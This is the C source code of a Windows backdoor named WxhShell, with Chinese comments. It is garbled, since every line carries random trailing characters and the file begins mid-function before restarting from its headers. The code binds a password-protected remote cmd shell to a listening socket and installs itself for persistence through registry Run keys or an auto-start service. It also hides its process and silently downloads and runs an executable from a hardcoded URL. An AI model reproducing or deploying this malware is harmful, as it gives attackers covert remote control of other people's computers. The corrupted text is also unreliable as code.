    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8eluO ?p  
    if(Boot(SHUTDOWN)) H}Ucrv:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B5ea(j  
    else { q"akrI38  
    closesocket(wsh); ['cz;2{:W  
    ExitThread(0); fkjeR B  
    } nnwJ YEi  
    break; W|MWXs5'1*  
    } hN   
  // 获取shell !\-WEQrp\  
  case 's': { u-JpI-8h  
    CmdShell(wsh); #)s!}X^  
    closesocket(wsh); @w\I qr  
    ExitThread(0); TBCp L]QT  
    break; ^T6S()G  
  } i?>tgmu.  
  // 退出 0:"2MSf>  
  case 'x': { mdW~~-@H  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [:h5}  
    CloseIt(wsh); ;HNq>/{  
    break; <8!  Tq  
    } $7Z)Yp&T  
  // 离开 wpXgPVZT  
  case 'q': { ,:)`+v<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6)qp*P$L  
    closesocket(wsh); @MiH(.Dq  
    WSACleanup(); ,\YAnKn6_  
    exit(1); mM_ k ^4:  
    break; qnChM ;)  
        } :@eHX&  
  } u.,Q4u|!  
  } J0Z7 l  
3BdX  
  // 提示信息 8w_7O> 9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); * **a2Z/(  
} uo2'"@[e  
  } aS84n.?vq  
j+rG7z){K  
  return; wM~H(=s`D  
} wi_'iv  
SmhGZ  
// shell模块句柄 I9?Ec6a_  
int CmdShell(SOCKET sock) \]uV!)V5B  
{ }!p`1]gem  
STARTUPINFO si; NI aFI(  
ZeroMemory(&si,sizeof(si)); ;=4Xz\2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *bd[S0l  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; X6\ sF"E  
PROCESS_INFORMATION ProcessInfo; nhT-Ido  
char cmdline[]="cmd"; H1/?+N}(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); j$Ab>}g]  
  return 0; T/pqSmVpM  
} ^v&D;<&R  
k&/OU:7Y  
// 自身启动模式 .uF[C{RnO  
int StartFromService(void) mh.+."<)F  
{ Qm4o7x{q  
typedef struct G2Vv i[c  
{ `=UWqb(K_  
  DWORD ExitStatus; pO7Zs  
  DWORD PebBaseAddress; v{aq`uH  
  DWORD AffinityMask; ?t](a:IX  
  DWORD BasePriority; Djq!P  
  ULONG UniqueProcessId; |~!U4D\  
  ULONG InheritedFromUniqueProcessId; ,m_WR7!$E  
}   PROCESS_BASIC_INFORMATION; Q GZyL)Q  
,<-G<${  
PROCNTQSIP NtQueryInformationProcess; PjKEC N  
e:'?*BYVg3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5 Xn.CBd]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; H@bf'guA|B  
T*g:# ^4  
  HANDLE             hProcess; U*3J+Y  
  PROCESS_BASIC_INFORMATION pbi; LbEM^ D  
f| _u7"OX  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); u .f= te  
  if(NULL == hInst ) return 0; 0k)rc$eDF+  
}}v9 `F  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); v6.t{6zYgY  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); AIMSX]m  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Hso|e?Z  
4}+/F}TbJ5  
  if (!NtQueryInformationProcess) return 0; hj'(*ND7z  
7f rTTSZ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); wE+${B03  
  if(!hProcess) return 0; Bn@(zHG+5&  
;AO#xv+#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8YC_3Yi%  
_XCOSomL`  
  CloseHandle(hProcess); `x%'jPP1 ^  
y@0E[/O  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %_!bRo  
if(hProcess==NULL) return 0; M5gWD==uP  
DC{>TC[p1k  
HMODULE hMod; ]a5 f2lE  
char procName[255]; lXcx@#~  
unsigned long cbNeeded; AGLscf.  
'Ut7{rZ5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |{CfWSB7~@  
"g$IP9?U  
  CloseHandle(hProcess); 6I@h9uIsze  
qkiI/nH3  
if(strstr(procName,"services")) return 1; // 以服务启动 BD(Z5+EU1  
n2iJ%_zp  
  return 0; // 注册表启动 ty8v 6J#  
} ")d`dj\o  
d_IAs  
// 主模块 &mb{.=  
int StartWxhshell(LPSTR lpCmdLine) &Z`#cMR{H  
{ hCC<?5q  
  SOCKET wsl; (1#J%  
BOOL val=TRUE; Q%xC}||1s"  
  int port=0; C=eF.FB;'  
  struct sockaddr_in door; yu;P +G  
xg3:}LQ  
  if(wscfg.ws_autoins) Install(); \B,(k<  
Oil?JI Hq  
port=atoi(lpCmdLine); euC&0Ee2  
Hv2De0W  
if(port<=0) port=wscfg.ws_port; j KoG7HH  
rx]  @A  
  WSADATA data; BocSwf;v.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )ubiB^g'm  
gP;&e:/3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Q)IKOt;N]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  5~>z h  
  door.sin_family = AF_INET; ZzSz%z_sE  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8uWa=C)  
  door.sin_port = htons(port); 0tXS3+@n =  
' ~8KSF*!p  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0N $v"uX@  
closesocket(wsl); 9b9$GyI  
return 1; ME*LH r,  
} >k (C  
N<XNTf  
  if(listen(wsl,2) == INVALID_SOCKET) { h2XfC. f  
closesocket(wsl); 7eAX*Kgt<_  
return 1; ev*k*0  
} Ru>MFG  
  Wxhshell(wsl); oM>Z;QVRC:  
  WSACleanup(); G|!on<l&  
?.Ca|H<  
return 0; s+<Yg$)  
i%0ur}p  
} :51/29}  
V6@o]*  
// 以NT服务方式启动 `~By)?cT_>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ++`0rY%  
{ wY[+ZT  
DWORD   status = 0; sM `DL  
  DWORD   specificError = 0xfffffff; ,,q10iF  
H" 3fT0  
  serviceStatus.dwServiceType     = SERVICE_WIN32; cWe"%I  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {#@W)4)cA  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *^VRGfpb  
  serviceStatus.dwWin32ExitCode     = 0; +l<5#pazx  
  serviceStatus.dwServiceSpecificExitCode = 0; 9,:l8  
  serviceStatus.dwCheckPoint       = 0; ! t?iXZ  
  serviceStatus.dwWaitHint       = 0; mc? Vq  
J;8IY=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %z,m B$LY  
  if (hServiceStatusHandle==0) return; 1cpiHZa  
',JinE95  
status = GetLastError(); Q7jb'y$ozO  
  if (status!=NO_ERROR) Bf~vA4  
{ l~w2B>i)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; G}b]w~ML ~  
    serviceStatus.dwCheckPoint       = 0; V{/?FO?E  
    serviceStatus.dwWaitHint       = 0; RAgg:3^  
    serviceStatus.dwWin32ExitCode     = status; C26>BU<  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3u*4o=4e  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \o*5  
    return; )<h*eS{  
  } R6;=n"Ueb  
>4TaP*_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; r\'A i6  
  serviceStatus.dwCheckPoint       = 0; o$jLzE"  
  serviceStatus.dwWaitHint       = 0; iJ1"at  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3TeY%5iVt  
} vqDu(6!2  
(MxQ+D\  
// 处理NT服务事件,比如:启动、停止 MOQ*]fV:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) d928~y W  
{ s(/; U2"e  
switch(fdwControl) }v}P .P  
{ < $lCkSx<Q  
case SERVICE_CONTROL_STOP: YNKHN2E8  
  serviceStatus.dwWin32ExitCode = 0; chM%]|gey  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &^}1O:8e  
  serviceStatus.dwCheckPoint   = 0; ib#KpEk  
  serviceStatus.dwWaitHint     = 0; =Y|VgV  
  { cUKE   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Hq:X{)"  
  } qr"3y  
  return; x[ ~b2o  
case SERVICE_CONTROL_PAUSE: Lt?lv2k=L  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Y']\Jq{OS  
  break; E7j(QO f  
case SERVICE_CONTROL_CONTINUE: +hg3I8q:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; fg_4zUGM+g  
  break; .,<1%-R34q  
case SERVICE_CONTROL_INTERROGATE: J\twZ>w~0  
  break; 6-N?mSQU  
}; N} G[7Rp8l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %*A0# F  
} .sha&  
#rMlI3;  
// 标准应用程序主函数 .o(fe\KHf  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &Cr:6W@A  
{ _n0CfH.v  
mqD}BOif  
// 获取操作系统版本 2=,lcWr  
OsIsNt=GetOsVer(); 5Dm.K?l;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >%}C^gu)  
6m* QX+  
  // 从命令行安装 ]b2pG'  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^a0um/+M}  
EN<F# Y3E  
  // 下载执行文件 JVvs-bK5  
if(wscfg.ws_downexe) { AVlhNIr  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4VJ-,Z  
  WinExec(wscfg.ws_filenam,SW_HIDE); D=j-!{zB  
} BKCA <  
I0D(F i  
if(!OsIsNt) {  eI$oLl@  
// 如果时win9x,隐藏进程并且设置为注册表启动 2V mNZ{<  
HideProc(); ]sf7{lVT  
StartWxhshell(lpCmdLine); ?GKb7Oj  
} >)fi^  
else q/4J.j L  
  if(StartFromService()) 9UdM`v)(  
  // 以服务方式启动 rK'L6o  
  StartServiceCtrlDispatcher(DispatchTable); EH+"~-v)ae  
else gX@HO|.t  
  // 普通方式启动 >?2M }TV3  
  StartWxhshell(lpCmdLine); h5*JkRm  
ysQ_[ ]/  
return 0; RIWxs Zt  
} ugdQAg  
vOn`/5-  
6 a(yp3  
dI.WK@W'o  
=========================================== w1Nm&}V  
g0xuxK;9c  
"h{q#~s  
kj#?whK6~  
v|XTr,#  
]l_\71  
" D=q:*x  
l: HTk4$0  
#include <stdio.h> p|X"@kuseO  
#include <string.h> ?A K(|  
#include <windows.h> =MQoC:l  
#include <winsock2.h> a#cCpE  
#include <winsvc.h> k3lS8d7  
#include <urlmon.h> bn|I> e  
CKYc\<zR0l  
#pragma comment (lib, "Ws2_32.lib") :%l TU  
#pragma comment (lib, "urlmon.lib") }MJy +Z8&  
w$3 ,A$8  
#define MAX_USER   100 // 最大客户端连接数 .0zY}`  
#define BUF_SOCK   200 // sock buffer }^ApJS(FQ  
#define KEY_BUFF   255 // 输入 buffer Sj%u)#Ub  
>{q]&}^U  
#define REBOOT     0   // 重启 C)um9}  
#define SHUTDOWN   1   // 关机 faE t6  
{% rA1g  
#define DEF_PORT   5000 // 监听端口 9'fQHwsJ  
Bd!bg|uO*  
#define REG_LEN     16   // 注册表键长度 Z^bQ^zk-  
#define SVC_LEN     80   // NT服务名长度 ,;EIh}  
 :|>h7v  
// 从dll定义API G)EU_UE 9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8zZvht*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3@etRd;]Kr  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \\iQEy<i  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "3X2VFwoJ  
VACQ+  
// wxhshell配置信息 &|s0P   
struct WSCFG { R6` WN  
  int ws_port;         // 监听端口 iOd&B B6  
  char ws_passstr[REG_LEN]; // 口令 <wk!hTm W  
  int ws_autoins;       // 安装标记, 1=yes 0=no qmkAg }2  
  char ws_regname[REG_LEN]; // 注册表键名 HZ aV7dOZ8  
  char ws_svcname[REG_LEN]; // 服务名 1T"`v tR  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `!ob GMTQ<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }s7$7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 zIqU,n|]s  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }zeO]"`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" QmQ=q7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %6|nb:Oa  
5MroNr  
}; H9'$C/w  
&W| [r(  
// default Wxhshell configuration I,E?h?6Y  
struct WSCFG wscfg={DEF_PORT, &fDIQISC  
    "xuhuanlingzhe", Tr_w]'  
    1, !{ y@od@T  
    "Wxhshell", "IZa!eUW  
    "Wxhshell", 0pZ4BZdT|  
            "WxhShell Service", {j{u6i  
    "Wrsky Windows CmdShell Service", RVZ")Z(  
    "Please Input Your Password: ", $h+1u$po  
  1, J4k=A7^N  
  "http://www.wrsky.com/wxhshell.exe", QVv#fy1"6  
  "Wxhshell.exe" P}Gj %4/G  
    }; M,j U}yD3  
aZH:#lUlj  
// 消息定义模块 bZ dNibN  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @3>u@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; f/U`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8V~k5#&Ow  
char *msg_ws_ext="\n\rExit."; P@,XEQRd`  
char *msg_ws_end="\n\rQuit."; x) ,eI'mf  
char *msg_ws_boot="\n\rReboot..."; [8Y:65  
char *msg_ws_poff="\n\rShutdown..."; _'#n6^Us<  
char *msg_ws_down="\n\rSave to "; ayn)5q/z  
:">!r.Q  
char *msg_ws_err="\n\rErr!"; Uf1!qP/H?  
char *msg_ws_ok="\n\rOK!"; [zH:1Zhl&  
ncZ+gzK|"  
char ExeFile[MAX_PATH]; 3OrczJ=[UF  
int nUser = 0; F8nYV  
HANDLE handles[MAX_USER]; >"??!|XG^  
int OsIsNt; e6`Jbu+J<f  
jte.Xy~g  
SERVICE_STATUS       serviceStatus; 0.\/\V:H6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; qSM|hHDo)  
cutuDZ  
// 函数声明 Q$a{\*[:+  
int Install(void); +! ]zA4x  
int Uninstall(void); DEBB()6,  
int DownloadFile(char *sURL, SOCKET wsh); 2bv=N4ly  
int Boot(int flag); x!?u^  
void HideProc(void); 3$jT*OyG#  
int GetOsVer(void); nXaC 3W:"  
int Wxhshell(SOCKET wsl); h&M{]E9=  
void TalkWithClient(void *cs); h}>"j%I  
int CmdShell(SOCKET sock); Z&G+bdA>,  
int StartFromService(void); |hKDvH  
int StartWxhshell(LPSTR lpCmdLine); 7!$Q;A  
WQx?[tW(U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); TtK[nP  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )Oq|amvC  
7LfAaj  
// 数据结构和表定义 ;@0;pY  
SERVICE_TABLE_ENTRY DispatchTable[] = `Syl:rU~y@  
{ Mc? Qx  
{wscfg.ws_svcname, NTServiceMain}, ^a/gBC82x  
{NULL, NULL} ]MqMQLG0t  
}; OsTc5K.U~  
(j%~u&+-  
// 自我安装 7!e vm;A  
int Install(void) ntu5{L'8  
{ ADz ^\  
  char svExeFile[MAX_PATH]; D.r<QO~6B  
  HKEY key; |5X^u+_  
  strcpy(svExeFile,ExeFile); jSJqE _1  
y|jl[pyg)  
// 如果是win9x系统,修改注册表设为自启动 [ZNtCnv  
if(!OsIsNt) { FVMD>=k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /{EP*,/*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E`kG-Q5Dw  
  RegCloseKey(key); '@a}H9>}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aE Bu *`-j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DMAIM|h  
  RegCloseKey(key); T"(&b~m2b4  
  return 0; 1Rt33\1J0  
    } dhC$W!N7!  
  } 0XOp3  
} -$t{>gO#Y  
else { ^gN6/>]qrY  
@T@< _ ?)  
// 如果是NT以上系统,安装为系统服务 v>6"j1Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~Sdb_EZ  
if (schSCManager!=0) loEPr5 bL  
{ ~jWn4 \  
  SC_HANDLE schService = CreateService H/"-Z;0{  
  ( hE &xE;  
  schSCManager, Z@yW bjE7Z  
  wscfg.ws_svcname, 3>3Kwc~E  
  wscfg.ws_svcdisp, D+#E -8  
  SERVICE_ALL_ACCESS, *-#&K\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ij 79~pn  
  SERVICE_AUTO_START, rExnxQ<e  
  SERVICE_ERROR_NORMAL, #?RU;1)Cw  
  svExeFile, 2\R'@L*  
  NULL, _1!7V3|^  
  NULL, xn?a. 3b'  
  NULL, m1j*mtu  
  NULL, QpF;:YX^3  
  NULL vXev$x=w-  
  ); DMs,y{v  
  if (schService!=0) b k~( ^!R  
  { N(O9&L*4fm  
  CloseServiceHandle(schService); %9 SJ E  
  CloseServiceHandle(schSCManager); i9rN9Mq?O  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @g|v;B|{  
  strcat(svExeFile,wscfg.ws_svcname); u/UrAqw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @Rg/~\K  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); N' F77 .  
  RegCloseKey(key); W=ig.-  
  return 0; <'}YyU=  
    } *HU &4E\a  
  } l(yZO$  
  CloseServiceHandle(schSCManager); adlV!k7RG  
} QfmJn((  
} ZVW'>M7.  
@MoKWfc  
return 1; B[qzUD*P_n  
} Ih@61>X.o*  
!d'GE`w T  
// 自我卸载 D,FHZD t  
int Uninstall(void) [.K1i ZyTi  
{ X enE^e+9  
  HKEY key; u]:oZMnj  
{0r0\D>bw  
if(!OsIsNt) { V[mT<Lc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3v(*5  
  RegDeleteValue(key,wscfg.ws_regname); 9/9j+5}+  
  RegCloseKey(key); '_<{ p3M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sXqz+z$*  
  RegDeleteValue(key,wscfg.ws_regname); bkRLC_/d  
  RegCloseKey(key); <xup'n^7C  
  return 0; "WlZ)wyF%  
  } 6d:zb;Iz  
} <<UB ^v m  
} 6 o^,@~:R  
else { `34zkPB??  
j 'FVz&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?}qttj  
if (schSCManager!=0) '|ad_M  
{ /Jta^Bj  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Y&`=jDI  
  if (schService!=0) W'els)WJ|x  
  { hC:n5]K  
  if(DeleteService(schService)!=0) {  JR'  
  CloseServiceHandle(schService); q~ tz? T_  
  CloseServiceHandle(schSCManager); 88Ey12$  
  return 0; 6e(Qwt  
  } 0*VWzH   
  CloseServiceHandle(schService); q$p%ZefZ  
  } ) g0%{dfJ  
  CloseServiceHandle(schSCManager); Y$o< 6[7  
} ?yZ+D z\  
} >1s* at/h  
o\BOL3H  
return 1; 7Sf bx~48  
} -M~8{buxv  
<5d ~P/,  
// 从指定url下载文件 ksc;X$f&4  
int DownloadFile(char *sURL, SOCKET wsh) ?U%QG5/>  
{ LuNc, n%  
  HRESULT hr; i3dkYevs?  
char seps[]= "/"; ]"r&]qx7  
char *token; *jLJcb*.Ap  
char *file; e%@'5k\SK  
char myURL[MAX_PATH]; 6wPaJbRtaM  
char myFILE[MAX_PATH]; EH$1fvE  
tW.9yII  
strcpy(myURL,sURL); 26e]`]!SU  
  token=strtok(myURL,seps); i=ea ?eT`  
  while(token!=NULL) {mm)ay|M  
  { Bz^jw>1b  
    file=token; 5:\},n+VE  
  token=strtok(NULL,seps); 67VL@ ]  
  } rTM}})81  
hmvfw:Nq4  
GetCurrentDirectory(MAX_PATH,myFILE); kC WEtbz1  
strcat(myFILE, "\\"); oNr-Q& C,  
strcat(myFILE, file); H[{F'c[e  
  send(wsh,myFILE,strlen(myFILE),0); E8!e:l =Q  
send(wsh,"...",3,0); d.3E[AJa(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); eS{!)j_^  
  if(hr==S_OK) k\wW##=v  
return 0; "76 ]u)  
else <W|3\p6  
return 1; H6kR)~zhf  
3e #p @sB  
} +:8fC$vVfC  
>x/z7v?^I  
// 系统电源模块 O&vVv _zh  
int Boot(int flag) ?*2CpM&l  
{ &?W0mW(  
  HANDLE hToken; 2I%MAb&1@  
  TOKEN_PRIVILEGES tkp; %;cddLQ\xY  
S\LkL]qx  
  if(OsIsNt) { ={_C&57N1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4Z1ST;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;QWIsVz  
    tkp.PrivilegeCount = 1; wi;Br[d  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,C K{F  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5*E]ETo@R  
if(flag==REBOOT) { #eQJEajv5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?QsQnQ  
  return 0; p%#<D9S  
} ?u-|>N>  
else { C+'/>=>a.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) OJ,`  
  return 0; S-Wzour,  
} S\4tzz @  
  } t|a2;aq_  
  else { N2B|SO''  
if(flag==REBOOT) { H+1-]'g`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >go,K{cK6  
  return 0; ahuGq'  
} S)lkz'tdk  
else { A$<.a'&T!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2#P* ,  
  return 0; l%[EXZ  
} JF # # [O  
} Yb +yw_5  
\wo?47+=  
return 1; >[MX:Yh  
} `)` n(B  
0C1pt5K  
// win9x进程隐藏模块 o4j[p3$  
void HideProc(void) cimp/n"  
{ %{ABaeb]  
d^RxQuA  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @<&5J7fb  
  if ( hKernel != NULL ) j2ve^F:Q  
  { ~T9/#-e>BF  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); QFw  +cy  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); * vflscgt  
    FreeLibrary(hKernel); _I:~@  
  } e^d0zl{  
Ai:BEPKe  
return; {/"2Vk<H8  
} -j%,Oo  
&f"-d  
// 获取操作系统版本 {kp"nl$<  
int GetOsVer(void) 1xD=ffM>8N  
{ vtw6FX_B  
  OSVERSIONINFO winfo; =G]1LTI  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); FB  _pw!z  
  GetVersionEx(&winfo); s8-<m,*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _(Sa4Vb=Q6  
  return 1; G"\`r* O  
  else .uuO>:  
  return 0; M4zm,>?K  
} #,7e NM"  
g}f`,r9  
// 客户端句柄模块 C 'v+f=  
int Wxhshell(SOCKET wsl) \Z]UA&v_  
{ i;NUAmx  
  SOCKET wsh; Ans cr  
  struct sockaddr_in client; !_`&Wks  
  DWORD myID; {. 2k6_1[  
,RJtm%w  
  while(nUser<MAX_USER) X*&[u7No  
{  /<HRwG\w  
  int nSize=sizeof(client); 1 y-y6q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [ JpKSTg[  
  if(wsh==INVALID_SOCKET) return 1; Fz1_w$^  
9{-EJ)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &0NFb^8+  
if(handles[nUser]==0) o=21|z  
  closesocket(wsh); F{EnOr`,m=  
else .C&ktU4  
  nUser++; 9A} # 6  
  } 5"HV BfFk  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); b /@#}Gc  
- M[$Zy^  
  return 0; }D7I3]2>   
} K@#(*."  
v'VD0+3[H  
// 关闭 socket J13>i7]L%  
void CloseIt(SOCKET wsh) kD*2~Z?;  
{ (>VX-Y/  
closesocket(wsh); V>R8GSx  
nUser--; )6+eNsxMlC  
ExitThread(0); NXNY"r7~  
} ^zt-HDBR_  
{.QEc0-  
// 客户端请求句柄 @$LWWTr;  
void TalkWithClient(void *cs) 5D_fXfx_|  
{ ;\lW5ZX  
h&`e) a>+  
  SOCKET wsh=(SOCKET)cs; r.#t63Rb  
  char pwd[SVC_LEN]; 31rx-D8o  
  char cmd[KEY_BUFF]; q>mE< (-M  
char chr[1]; Ytz)d/3T  
int i,j; Fb7#<h  
3=Cc.a/3  
  while (nUser < MAX_USER) { o3I Tr';  
7Garnd b  
if(wscfg.ws_passstr) { LM7$}#$R  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T9]HGB{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5]HS^II"  
  //ZeroMemory(pwd,KEY_BUFF); tZ^Ou89:rG  
      i=0; @1DX  
  while(i<SVC_LEN) { 87=^J xy  
bzX\IrJpOZ  
  // 设置超时 5e$~)fL  
  fd_set FdRead; O [i#9)  
  struct timeval TimeOut; \|E^v6E%0  
  FD_ZERO(&FdRead); AgFVv5  
  FD_SET(wsh,&FdRead); -PS#Z0>  
  TimeOut.tv_sec=8; xKQ+{"?-^g  
  TimeOut.tv_usec=0; zipS ]YD  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -C<zF`jO  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); xZ4~Oo@@_'  
]`&Yqg  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H63,bNS s  
  pwd=chr[0]; NGOqy+Ty{f  
  if(chr[0]==0xd || chr[0]==0xa) { XLL/4)  
  pwd=0; 9'{}!-(xR  
  break; mml<9fbH  
  } 91$]Qg,lB  
  i++; o>7ts&rk  
    } B<~ NS)w  
IRn2 |  
  // 如果是非法用户,关闭 socket 0#ClWynjRO  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); L2, 1Kt7  
} k'#(1(xj  
ik!..9aB  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); j{NNSi3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W2z*91$  
cZT({uYGL  
while(1) { x-?{E  
cOPB2\,  
  ZeroMemory(cmd,KEY_BUFF);  jcI&w#re  
2Sh  
      // 自动支持客户端 telnet标准   NMww>80  
  j=0; vP !{",>  
  while(j<KEY_BUFF) { K^ B%/T]d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J,zO2572u  
  cmd[j]=chr[0]; 4"xPr[=iG  
  if(chr[0]==0xa || chr[0]==0xd) { cCa|YW^j  
  cmd[j]=0; NcP.;u;`  
  break; {; .T7dL  
  } 2D:fJ~|-[  
  j++; S-YM%8A[  
    } |]aE<`D  
Op>%?W8/UF  
  // 下载文件 *P#WDXRwd  
  if(strstr(cmd,"http://")) { ?}m']4p  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Q4*fc^?u  
  if(DownloadFile(cmd,wsh)) jq+A-T}@  
